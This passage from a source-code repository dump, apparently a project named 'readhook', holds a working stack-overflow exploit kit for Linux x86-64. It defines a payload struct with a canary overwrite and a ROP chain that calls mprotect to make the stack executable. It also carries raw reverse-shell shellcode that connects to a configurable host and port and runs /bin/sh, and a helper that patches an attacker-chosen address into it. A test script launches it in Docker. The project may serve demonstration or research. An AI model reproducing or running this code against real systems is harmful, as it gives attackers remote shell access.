Fallback gadget for "POP RDX" 62 | __asm__ ("pop %rdx"); 63 | __asm__ ("ret"); 64 | } // if 65 | 66 | return makeShellcode(&plp->pl_scu.sc, p, np); 67 | } // makeload() 68 | 69 | 70 | static char *p8(void *s0) { 71 | static char d[sizeof(Pointer)]; 72 | char *s = (char *) s0; 73 | 74 | assert(sizeof(d) == 8); 75 | for (int i = 0; i < sizeof(Pointer); i++) 76 | d[i] = ((s[i] < ' ') || (s[i] > '~')) ? '.' : s[i]; 77 | 78 | return d; 79 | } 80 | 81 | void dumpload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr) { 82 | char fmt[] = "%20s: %018p (\"%.8s\")\n"; 83 | 84 | fprintf(stderr, "--------------------------------------------\n"); 85 | fprintf(stderr, fmt, "pl_dst.p", plp->pl_dst.p, p8(&plp->pl_dst)); 86 | 87 | fprintf(stderr, fmt, "pl_canary.p", plp->pl_canary.p, p8(&plp->pl_canary)); 88 | fprintf(stderr, fmt, "pl_rbp.p", plp->pl_rbp.p, p8(&plp->pl_rbp)); 89 | 90 | fprintf(stderr, fmt, "pl_popRDI.p", plp->pl_popRDI.p, p8(&plp->pl_popRDI)); 91 | fprintf(stderr, fmt, "pl_stackPage.p", plp->pl_stackPage.p, p8(&plp->pl_stackPage)); 92 | fprintf(stderr, fmt, "pl_popRSI.p", plp->pl_popRSI.p, p8(&plp->pl_popRSI)); 93 | fprintf(stderr, fmt, "pl_stackSize", plp->pl_stackSize, p8(&plp->pl_stackSize)); 94 | fprintf(stderr, fmt, "pl_popRDX.p", plp->pl_popRDX.p, p8(&plp->pl_popRDX)); 95 | fprintf(stderr, fmt, "pl_permission.p", plp->pl_permission, p8(&plp->pl_permission)); 96 | fprintf(stderr, fmt, "pl_mprotect.p", plp->pl_mprotect.p, p8(&plp->pl_mprotect)); 97 | 98 | fprintf(stderr, fmt, "pl_shellCode.p", plp->pl_shellCode.p, p8(&plp->pl_shellCode)); 99 | 100 | dumpShellcode(&plp->pl_scu.sc); 101 | fprintf(stderr, "--------------------------------------------\n"); 102 | } // dumpload() 103 | -------------------------------------------------------------------------------- /src/payload.h: -------------------------------------------------------------------------------- 1 | #ifndef _PAYLOAD_H_ 2 | #define _PAYLOAD_H_ 3 | #include "addresses.h" 4 | #include "shellcode.h" 5 | 6 | typedef struct Payload { 7 | // Stack frame from/including the buffer 8 | AddressUnion pl_dst; 9 | AddressUnion pl_canary; 10 | 11 | // ROP chain to make the stack executable 12 | AddressUnion pl_rbp; 13 | AddressUnion pl_popRDI; 14 | AddressUnion pl_stackPage; 15 | AddressUnion pl_popRSI; 16 | ptrdiff_t pl_stackSize; 17 | AddressUnion pl_popRDX; 18 | long pl_permission; 19 | AddressUnion pl_mprotect; 20 | 21 | // Stack pivot to executable code (&pl_scu) 22 | AddressUnion pl_shellCode; 23 | 24 | // Freedom! 25 | ShellcodeUnion pl_scu; 26 | } Payload, *PayloadPtr; 27 | 28 | extern void initload(PayloadPtr plp); 29 | extern ssize_t makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr, char *p, ssize_t np); 30 | extern void dumpload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr); 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /src/shellcode.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include // for gethostbyname() 4 | #include 5 | 6 | #include "shellcode.h" 7 | 8 | static const ShellcodeUnion scu0 = { 9 | .raw = { 10 | 0x6a, 0x29, // pushq $0x29 11 | 0x58, // pop %rax 12 | 0x99, // cltd 13 | 0x6a, 0x02, // pushq $0x2 14 | 0x5f, // pop %rdi 15 | 0x6a, 0x01, // pushq $0x1 16 | 0x5e, // pop %rsi 17 | 0x0f, 0x05, // syscall 18 | 0x48, 0x97, // xchg %rax,%rdi 19 | 0x48, 0xb9, 0x02, 0x00, // movabs $0x100007fb3150002,%rcx 20 | 0x15, 0xb3, // .WORD htons(5555) 21 | 0x7f, 0x00, 0x00, 0x01, // .DWORD 127.0.0.1 22 | 0x51, // push %rcx 23 | 0x48, 0x89, 0xe6, // mov %rsp,%rsi 24 | 0x6a, 0x10, // pushq $0x10 25 | 0x5a, // pop %rdx 26 | 0x6a, 0x2a, // pushq $0x2a 27 | 0x58, // pop %rax 28 | 0x0f, 0x05, // syscall 29 | 0x6a, 0x03, // pushq $0x3 30 | 0x5e, // pop %rsi 31 | 0x48, 0xff, 0xce, // dec %rsi 32 | 0x6a, 0x21, // pushq $0x21 33 | 0x58, // pop %rax 34 | 0x0f, 0x05, // syscall 35 | 0x75, 0xf6, // jne 27 36 | 0x6a, 0x3b, // pushq $0x3b 37 | 0x58, // pop %rax 38 | 0x99, // cltd 39 | 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, // movabs $0x68732f6e69622f,%rbx 40 | 0x73, 0x68, 0x00, // 41 | 0x53, // push %rbx 42 | 0x48, 0x89, 0xe7, // mov %rsp,%rdi 43 | 0x52, // push %rdx 44 | 0x57, // push %rdi 45 | 0x48, 0x89, 0xe6, // mov %rsp,%rsi 46 | 0x0f, 0x05 // syscall 47 | } 48 | }; // scu0 49 | 50 | void initShellcodeUnion(ShellcodeUnionPtr scup) { 51 | *scup=scu0; 52 | scup->sc.port = htons(5555); 53 | if (!inet_aton("127.0.0.1", &scup->sc.ipAddress)) 54 | assert(0); // This should ALWAYS work. 55 | } // initShellcode() 56 | 57 | ssize_t makeShellcode(ShellcodePtr scp, char *p, ssize_t np) { 58 | char s_host[256]; 59 | unsigned short nport; 60 | int nc = 0, ns = sscanf(p, "%[A-Za-z0-9-.]%n:%hu%n", s_host, &nc, &nport, &nc); 61 | assert(ns >= 0 && ns <= 2); 62 | 63 | scp->port = htons((ns > 1) ? nport : 5555); 64 | 65 | // See if the s_host string can be parsed by inet_aton() 66 | if (inet_aton(s_host, &scp->ipAddress) == 0) 67 | for (struct hostent *he = gethostbyname(s_host); he; he = NULL) 68 | for (int i = 0; ((struct in_addr **) he->h_addr_list)[i] != NULL; i++) 69 | scp->ipAddress = *((struct in_addr **) he->h_addr_list)[i]; 70 | 71 | // Return number of characters consumed parsing the Host and IP Address. 72 | return nc; 73 | } // makeShellcode() 74 | 75 | void dumpShellcode(ShellcodePtr scp) { 76 | fprintf(stderr, "--------------------------------------------\n"); 77 | fprintf(stderr, "%20s: %d\n", "scp->port", ntohs(scp->port)); 78 | fprintf(stderr, "%20s: %s\n", "scp->ipAddress", inet_ntoa(scp->ipAddress)); 79 | } // dumpShellcode() 80 | 81 | -------------------------------------------------------------------------------- /src/shellcode.h: -------------------------------------------------------------------------------- 1 | #ifndef _SHELLCODE_H_ 2 | #define _SHELLCODE_H_ 3 | #include 4 | 5 | typedef struct Shellcode { 6 | unsigned char prolog[18]; 7 | unsigned short port; 8 | struct in_addr ipAddress; 9 | unsigned char epilog[50]; 10 | unsigned short unused; 11 | } Shellcode, *ShellcodePtr; 12 | 13 | typedef union ShellcodeUnion { 14 | unsigned char raw[76]; 15 | Shellcode sc; 16 | } ShellcodeUnion, *ShellcodeUnionPtr; 17 | 18 | extern void initShellcodeUnion(ShellcodeUnionPtr scup); 19 | extern ssize_t makeShellcode(ShellcodePtr scp, char *p, ssize_t np); 20 | extern void dumpShellcode(ShellcodePtr scp); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/strlcpy.c: -------------------------------------------------------------------------------- 1 | #include "strlcpy.h" 2 | 3 | // From BSD sources ~2006 MIT license. 4 | size_t strlcpy(char *dst, const char *src, size_t len) 5 | { 6 | char *d = dst; 7 | const char *s = src; 8 | size_t n = len; 9 | 10 | if (n != 0) 11 | while (--n != 0) 12 | if ((*d++ = *s++) == '\0') 13 | break; 14 | 15 | if (n == 0) { 16 | if (len != 0) 17 | *d = '\0'; 18 | while (*s++) 19 | ; 20 | } 21 | 22 | return s - src - 1; 23 | } 24 | -------------------------------------------------------------------------------- /src/strlcpy.h: -------------------------------------------------------------------------------- 1 | #ifndef _STRLCPY_H_ 2 | #define _STRLCPY_H_ 3 | #include 4 | 5 | extern size_t strlcpy(char *dst, const char *src, size_t len); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /src/strnstr.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | 4 | #include "strnstr.h" 5 | 6 | char *strnstr(const char *s1, const char *s2, size_t len) 7 | { 8 | size_t l2 = strlen(s2); 9 | 10 | if (!l2) 11 | return (char *)s1; 12 | 13 | while (len >= l2) { 14 | len--; 15 | if (!memcmp(s1, s2, l2)) 16 | return (char *)s1; 17 | s1++; 18 | } // while 19 | 20 | return NULL; 21 | } // strnstr() 22 | -------------------------------------------------------------------------------- /src/strnstr.h: -------------------------------------------------------------------------------- 1 | #ifndef _STRNSTR_H_ 2 | #define _STRNSTR_H_ 3 | #include 4 | 5 | extern char *strnstr(const char *s1, const char *s2, size_t len); 6 | #endif 7 | -------------------------------------------------------------------------------- /test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | hostport="$1" 4 | 5 | if [[ "$hostport" == "" ]]; then 6 | hostport="docker.for.mac.localhost:5555" 7 | fi 8 | 9 | docker run -it --rm --name readhook readhook /readhook/app/fullhook "$hostport" 10 | -------------------------------------------------------------------------------- /test.txt: -------------------------------------------------------------------------------- 1 | test 2 | --------------------------------------------------------------------------------